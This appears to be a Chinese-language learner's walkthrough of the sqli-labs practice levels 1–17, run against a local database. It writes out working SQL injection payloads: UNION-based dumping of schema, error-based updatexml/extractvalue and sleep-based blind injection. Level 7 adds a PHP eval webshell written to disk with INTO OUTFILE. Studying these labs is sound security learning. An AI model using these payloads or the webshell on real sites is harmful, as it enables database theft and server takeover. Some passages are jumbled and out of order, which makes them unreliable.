less-1
虽然教程上说末尾加上--+
,也说了这个+
是为了代替一个空格,因为在url末尾加上的空格会被吃掉,所以,实际上也可以加上%20
(空格的url编码),或者直接加上空格再外加一个#
,总之空格存在就能让--
发挥注释的功能,使得构造的sql语句顺利逃出来,所以根据这个道理,直接在末尾加上一个单引号将后面的单引号闭合的效果也是一样的,于是我开始爆,手爆真是太难了
1 | ?id=-1'union 1,2,(select group_concat(schema_name) from information_schema.schemata,select group_concat(table_name) from information_schema.tables where table_schema='muhua_io')-- # |
为了确实体会sql注入的本质,我爆的是一个本地的库,另外一般来说需要先用order by
爆出查询位数,因为union select
的格式需要。
1 | select group_concat(column_name) from information_schema.columns where table_name='liu_tbl' |
到这里都还一切正常,select group_concat(liu_ling) from liu_tbl
,就报错了,这里报错原因显示是security.liu_tbl
这个表不存在,我尝试了好几分钟才发现了问题所在,一开始我通过联合查询union select 1,2,database()
得到的当前所在的库就是security
,也就是说当我没有加上前缀说明查询的表所在的库时,它是默认在当前库下去查询该表,所以正确的sql注入语句应该是select group_concat(liu_ling) from muhua_io.liu_tbl
,于是就得到了表里的数据。
less-2
加上单引号后报错了,'' LIMIT 0,1'
,不是很理解,于是对比less-1的报错'''' LIMIT 0,1'
,也不是很理解
在多次尝试不同情况的报错后:
输入1'
:
less1=>''1'' LIMIT 0,1'
less2=>'' LIMIT 0,1'
输入'1
:
less1=>'1' LIMIT 0,1'
less2=>''1 LIMIT 0,1'
找到共同点LIMIT 0,1
以及两端的单引号,剥离掉共同点那么就能看出,less1中输入的内容会被单引号括起来再拿到语句中,而less2则没有被任何东西括起来,也就是说不需要考虑单引号闭合的问题,直接将sql语句接在-1后面即可,当然也要加上空格,该处为字符型注入,例如输入1abc,会将1abc作为一个整体去查询,为了避免union被作为-1的一部分拿去查询,-1
后面的空格是必要的,之后就都一样了。
less-3
根据上一题的经验,我很容易地通过报错了解到输入的内容不仅被单引号括起来了,还被括号括起来了,所以想要闭合前面部分就必须加上单引号和一个括号,然后再加上sql语句,最后要去掉后面多出来的单引号和括号,就只能使用--+
了,结束。
less-4
加上单引号,没有报错回显,前面加上1,正常显示,于是我再后面加上了各种方式,最后才看解析才想起还有双引号,我是脑残,总之加上双引号立刻就报错了,根据报错内容得出是双引号和括号,啊,就这样吧。
(2021.4.18)↓
less-5
尝试传值1’,根据报错得到是单引号闭合,于是查字段,毫无疑问是3,然后联合查询,当然不行,因为正常回显就是什么信息都没有,因此终于用上了报错注入(之前打算总结注入方法,结果后面因为缺少实际环境实验而卡的死死的,想想还是老老实实先把靶场打了再说吧)
于是,我开始首先使用我之前没正确使用出来的updatexml报错,也就是在闭合and updatexml(1,concat('~',database(),'~'),3)
终于成功打出了正确效果,然后尝试and updatexml(1,concat('~',(select group_concat(schema_name)from information_schema.schemata),'~'),3)
结果只得到一部分,查询之后得到updatexml和extractvalue函数都是32位查询,但联想到在之前做的题[极客大挑战 2019]HardSQL学到的知识,此时可以结合其他函数截取字符串
1 | 字符串截取函数: |
ok,后面都一样,老规矩,把我的QQ号爆出来了。。。?id=1'and extractvalue(1,concat('~',(select database())))--+
(extractvalue版)。
less-6
双引号闭合版报错注入。
less-7
经过一番努力终于弄好了,第一步是检测闭合方式,接连试了单引号双引号括号以及混合方式统统闭合不成功!一看教程,单引号加两个括号。。。总之努力过了,接下来按照教程说的要用上传文件的语法
1 | into outfile "绝对路径(本地的反斜杠要写两个)" |
show variables like “secure_file_priv”;
1 | 就能查看`secure_file_priv`的值,如果是`null`就说明禁止写入,所以打开mysql安装目录,在my.ini这个配置文件中写入`secure_file_priv = ''`,然后保存,关闭,然后重启mysql,然后就可以在命令行mysql再次查看,这次那一栏变成空的了,然后在本地写入shell,`union select 1,2,"<?php @eval($_POST['shell']);?>" into outfile "绝对路径"`,然后就能用蚁剑连上了。 |
payload:?id=1’ and if((select length(group_concat(schema_name)) from information_schema.schemata)=70,sleep(3),1)–+
1 |  |
?id=1’and if((select substr(group_concat(table_name),(爆破位置),1)from information_schema.tables where table_schema=’muhua_io’)=’(对照内容)’,sleep(3),1)–+
1 | ,之后应该都是一样的了,缺点是如果爆破内容太长就会很难连缀爆出的内容,因为筛选长度内容排序后就无法对前面爆破内容排序了,需要人工排序,总之按老规矩爆出了我的QQ号 |
less-9
第八关虽然无论如何都没有输入回显,但会有输入正常与否的区别,第九关无论怎么输入都是同一个界面,但通过sleep函数检测,是单引号闭合的,时间盲注,办法同上一关。
less-10
双引号版时间盲注。
less-11
和第一关同样的爆破方式,但注入的提交方式变成了post型,我尝试在Firefox的hackbar插件注入uname=1&passwd=1'union select 1,(select group_concat(schema_name)from information_schema.schemata)-- #&submit=Submit
,但跑不起来,之后尝试passwd=1'
也同样跑不起来,得出结论需要先将单引号转义,因为在hackbar框,单引号同样有将字符串括起来的特殊意义,总之是提交方式的知识点。
(2021.4.21)
less-12
双引号型11题,但这次hackbar插件连加上反引号都run不动了,于是用bp抓包几次,结果是某些符号被各种转义,总之hackbar输入特殊符号会很拐弯抹角,就算不想直接在输入框输入(格子太短),还是直接用bp抓包发送快一点吧。
less-13
单引号和括号闭合的,但正确注入没有回显,很容易就用报错注入解决了
1 | payload:1')and updatexml(1,concat('~',(select group_concat(liu_ling)from muhua_io.liu_tbl),'~'),1)-- # |
本来想就这样结束的,但突然想到除了buu那次Hardsql之后就没再用过extractvalue报错注入,这一用就发现了问题,因为我没爆出自己的QQ号,除此之外爆其他内容都很成功,于是我多次尝试,仔细查看后,我想到了concat函数的存在,concat函数的存在是为了连接字符串,而我要爆的字符串仅有一串数字,而我构建的payload是:1')or extractvalue(1,concat(1,(select group_concat(liu_name) from muhua_io.liu_tbl)))-- #
这样的,concat的构造显然这是把一个1,连接到了一串数字前面,这是很合理的,因此没有报错,所以我断定问题就出在concat内部的1上,因此将其改为’‘,于是成功将我的QQ号爆出.是不符合的,因此,就出现将连接在一起的一连串都报错的情况。
之后我再次查询extractvalue的报错原理(之前也查过,当然被我很没出息地忘记了),得到答案:extractvalue报错和updatexml报错的原理一致(虽然原本的用途不同),两个函数的第二个参数都必须符合xpath的格式,而
less-14
错误有回显,正确无回显,双引号闭合,报错注入。
less-15
无论如何都没有回显,但能判断是否正确,时间盲注或者布尔盲注(前提是我知道如何用python脚本传入post值,并且request可以得到的都是页面存在的html代码,应该可以通过图片名判断是否正确)。
less-16
双引号和括号闭合的15题
(2021.4.23)
less-17
爆不出,于是看源码,有过滤函数,首先传入的uname
会先经过自定义的过滤函数,先通过str函数
对输入的uname
值截取15个字符长度,然后进入if语句,条件是get_magic_quotes_gpc()
,这个函数是判断参数是否有添加斜杠,但这个函数并未添加参数,但经过查询得到原因,这个函数是默认检测传入的get,post,cookie
,三种参数是否添加斜杠,判定为是之后就会进入if语句内部,利用stripslashes函数
对uname
参数进行去除斜杠,然后使用ctype_digit函数
检测是否为纯数字,如果不是则利用mysqli_real_escape_string函数
对uname
进行转义将其变为合法sql语句,并用单引号括起来,但由于经过过滤函数处理的只有uname
,passwd
处还是可以注入的,但后面出现语句@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
,也就是说在被过滤后的uname
需要成功匹配users表
里的账户,也就是说,注入的前提是需要知道一个用户名。一般来说,实际环境(大概)会配注册功能,可以先注册一个账户再在登录处进行注入。